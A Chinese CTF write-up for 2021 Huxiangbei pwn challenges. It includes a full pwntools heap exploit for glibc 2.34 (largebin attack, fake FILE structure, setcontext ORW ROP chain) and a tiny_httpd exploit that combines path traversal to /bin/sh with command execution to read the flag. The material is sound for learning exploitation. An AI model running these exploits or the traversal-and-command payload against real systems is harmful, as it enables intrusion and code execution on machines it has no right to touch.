2021湖湘杯pwn-wp


house_of_emma

这是看了GD师傅的exp写的,有些地方还是不太清楚原理。
加强版的house of pig,glibc 2.34 的malloc_printerr 不调用abord,无法触发IO的虚表函数。可以利用puts函数,puts函数也会调用malloc,就可以触发setcontext 去构造orw读取flag。

  • 首先利用高版本的largebin attack手法修改mp_.tcache_bins,largebin attack写入一个堆地址(unsorted bin < large bin),此时任意大小的堆块都可以放入tcache中
  • 然后将tcache填满,并泄露出堆地址,为后面largebin attack做准备
  • 在堆块中构造_IO_FILE_plus结构体,并将vtable的地址写为_IO_str_jumps的地址

函数调用链如下:

__GI__IO_puts() -> __GI__IO_default_xsputn() -> __GI__IO_str_overflow() -> __GI___libc_free() -> _int_free() -> malloc_printerr() -> __libc_message() ->  __GI__IO_puts() -> __GI__IO_str_overflow() -> *ABS*+0x9e310@plt() -> __vfprintf_internal() -> setcontext+61 

exp:

from pwn import *
from pwn import p64,u64,p32,u32,p8,p16

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']

# elf = ELF('./pwn')
# libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
libc = ELF('./libc.so.6')

io = process('./pwn')

def add(flag,idx,size):
    if flag:
        io.recvuntil('opcode\n')
        payload = b'\x01' + p8(idx) + p16(size)+b'\x05'
        io.send(payload)
        return 0
    else:
        payload = b'\x01' + p8(idx) + p16(size)
        return payload

def delete(flag,idx):
    if flag:
        io.recvuntil('opcode\n')
        payload = b'\x02' + p8(idx)+b'\x05'
        io.send(payload)
        return 0
    else:
        payload = b'\x02' + p8(idx)
        return payload

def edit(flag,idx,size,content):
    if flag:
        io.recvuntil('opcode\n')
        payload = b'\x04' + p8(idx) + p16(size) + content+b'\x05'
        io.send(payload)
        return 0
    else:
        payload = b'\x04' + p8(idx) + p16(size) + content
        return payload

def show(flag,idx):
    if flag:
        io.recvuntil('opcode\n')
        payload = b'\x03' + p8(idx) + b'\x05'
        io.send(payload)
        return 0
    else:
        payload = b'\x03' + p8(idx)
        return payload

def quit():
    return b'\x05'

def recv():
     leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
     return leak

def exp2():
    add(1,0,0x440)
    add(1,1,0x4a0)
    add(1,2,0x410) 
    add(1,3,0x490)
    add(1,4,0x430)
    add(1,5,0x490)
    add(1,6,0x430)

    add(1,9,0x4c0)
    add(1,10,0x490)
    add(1,11,0x490)
    add(1,12,0x490)
    add(1,13,0x490)
    add(1,14,0x490)
    add(1,15,0x490)
    add(1,16,0x490)
    delete(1,1)
    show(1,1)

    # ********** leak libc address**********#
    leak = recv()
    info(hex(leak))
    libc_base = leak - 0x1f30d0
    info('libc_base == %s'%hex(libc_base))
    setcontext = libc_base + 0x50bfd
    info('setcontext+61 == %s'%hex(setcontext))
    main_arena = leak + 0x3f0
    tcache_bins = libc_base + 0x1f2390  # mp_->tcache_bins
    info('tcache_bins == %s'%hex(tcache_bins))
    prsi = libc_base + 0x0000000000037c0a  # : pop rsi ; ret
    prdi = libc_base + 0x000000000002daa2  # : pop rdi ; ret
    prdx = libc_base + 0x00000000001066e1  # : pop rdx ; pop r12 ; ret

    stdout = libc_base + 0x1f3848
    io_stdfile_1_lock = libc_base + 0x1f5730
    str_jumps_vtable = libc_base + 0x1f4620
    libc_abs = libc_base + 0x1f20b0 # *ABS*@got.plt
    libc_puts = libc_base + 0x7a050
    gadget = libc_base + 0x6f476  # mov rdx,rbx ; mov rsi,r13 ; mov rdi,rbp ; call QWORD PTR [r14+0x38]
    libc_open = libc_base + libc.sym['open']
    libc_read = libc_base + libc.sym['read']
    libc_write = libc_base + libc.sym['write']

    # ************* 2.31 large bin attack overwrite mp_.tcache_bins ***************#
    # ************* unsorted bin < largebin (house of storm) *************#
    io.recvuntil('opcode\n')
    payload = add(0,7,0x500)
    payload += delete(0,3)
    payload += edit(0,1,0x20, p64(main_arena)*2+p64(0)+p64(tcache_bins-0x20))
    payload += add(0,8,0x410)
    payload += quit()
    io.sendline(payload)

    # ************ fill tcache and leak heap base ************#
    for i in range(7):
        delete(1,i+10)
    delete(1,9)
    show(1,11)
    heap_addr = u64(io.recvuntil(b'\x0a')[-6:-1].ljust(8,b'\x00'))<<12
    heap_base = heap_addr - 0x4000
    info(hex(heap_base))
    gdb.attach(io)

    # ************** useful chunks ************** #
    flag_str = heap_base + 0x760
    rsp = heap_base + 0x460
    v = heap_base + 0x388

    # ************** fake _IO_str_jumps ************** #
    fake = p64(0)
    fake += p64(v)
    fake += p64(v+0x22e)
    fake += p64(libc_abs)*3

    fake = fake.ljust(0x58,b'\x00')

    fake += p64(io_stdfile_1_lock)
    fake += p64(0)*2
    fake += p64(rsp)
    fake += p64(prdi)

    fake = fake.ljust(0xa8,b'\x00')
    fake += p64(str_jumps_vtable)

    # *************** setcontext orw ROP chain **************#
    o = p64(gadget)*6 + p64(0) + p64(flag_str) +p64(libc_open)
    r = p64(prdi) + p64(3) + p64(prsi) + p64(flag_str) + p64(prdx) + p64(0x30)+p64(0) + p64(libc_read)
    w = p64(prdi) + p64(1) + p64(prsi) + p64(flag_str) + p64(prdx) + p64(0x30)+p64(0) + p64(libc_write)

    # ***************** exploit ***************** #
    payload = delete(0,5)
    payload += show(0,5)
    payload += show(0,5)
    payload += show(0,5)
    payload += show(0,5)
    payload += show(0,5)
    payload += edit(0,1,len(fake)+0x20,p64(main_arena)*2 + p64(0) + p64(stdout - 0x20) + fake)

    payload += add(0,8,0x410)
    payload += b'\x00'*4
    payload += p64(libc_puts) *2
    payload += b'\x00' * 0x28
    payload += p64(setcontext)
    payload += b'\x00' *0x60
    payload += o 
    payload += r
    payload += w
    payload = payload.ljust(0x4c0,b'\x00') + b'./flag'
    print(len(payload))
    # gdb.attach(io,'x/20xg $rebase(0x4040)')
    io.send(payload)

 

exp2()
io.interactive()

Maybe_fun_game_3

加强版2021红明谷原题,双边协议

tiny_httpd

web pwn,路径穿越,命令执行。题目给出dockerfile,但是也可以直接在虚拟机中运行,注意压缩包需要在虚拟机中再进行解压,我在Mac环境下解压后上传到虚拟机是无法显示index.html的,估计是用户组的原因。并且需要以root权限运行httpd才可以写入index.html

题目给出了源码,对其审计可以发现路径过滤代码可以跨目录请求。命令执行用echo把flag写入index.html即可

源码漏洞点:

		/* path filter */
    int len = strlen(path);
    for (i = 0, j = 0; j < len;) {
        if (path[j] == '.' && path[j + 1] == '.') {
            j++;
        }
        path[i++] = path[j++];
    }
    path[i++] = '\0';

exp

from pwn import *
from pwn import p64,u64,p32,u32,p8

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']

# elf = ELF('./')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
# libc = ELF('')
io = remote('172.16.96.5', 9999)

def exp():
    # cmd = "whoami > ./htdocs/index.html\n"
    # cmd = "ls > ./htdocs/index.html\n"
    cmd = "echo `cat ./flag` > ./htdocs/index.html\n"

    payload = "POST /.../.../.../.../bin/sh HTTP1.1\r\n"
    payload += "Content-Type:text/html;charset:utf-8\r\n"
    payload += "Content-Length: {}\r\n\n".format(len(cmd))
    payload += cmd
    io.sendline(payload)

exp()

io.interactive()
pwn